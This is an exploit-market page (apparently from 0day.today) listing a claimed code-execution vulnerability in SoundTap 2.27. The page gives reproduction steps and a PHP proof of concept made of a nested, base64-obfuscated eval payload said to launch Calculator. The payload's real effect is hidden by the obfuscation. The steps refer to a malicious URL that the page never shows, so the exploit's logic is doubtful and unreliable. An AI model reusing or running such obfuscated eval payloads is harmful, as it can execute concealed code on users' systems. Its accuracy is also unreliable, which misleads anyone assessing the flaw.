[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

SoundTap 2.27 - Code Execution Vulnerability

Author
ZwX
Risk
[
Security Risk High
]
0day-ID
0day-ID-24618
Category
remote exploits
Date add
27-11-2015
Platform
windows
<?php
# Title : SoundTap 2.27 - Code Execution Vulnerability
# Author : ZwX
# Vendor : http://www.nch.com.au/
# Download : http://www.nch.com.au/soundtap/stsetup.exe
# Tested On : Windows 7

#################################################
#  Manual steps to reproduce the vulnerability  #
#################################################

# 1. Launch SoundTap.exe                
# 2. Click SoundTap -> Launch Url                     
# 3. Paste malicious url in input "Enter url Launch"
# 4. Click ok
# 5. PHP code executed successfully

#######################################
#    Code Execution Calculator        #
#   By ZwX -  Vulnerability Lab.com   #
#######################################

eval(base64_decode('ZXZhbChiYXNlNjRfZGVjb2RlKCdaWFpoYkNoaVlYTmxOalJmWkdWamIy
                   UmxLQ2RhV0doc1dYbG5ibEY2Y0dOV01HeFBVa1U1V0ZVeGVIcGxXRTR3V
                   2xjd2VrMXNlR3BaVjNocVRHMVdORnBUWTNCUGR6MDlKeWtwT3c9PScpKTs='));

?>

#  0day.today [2024-09-28]  #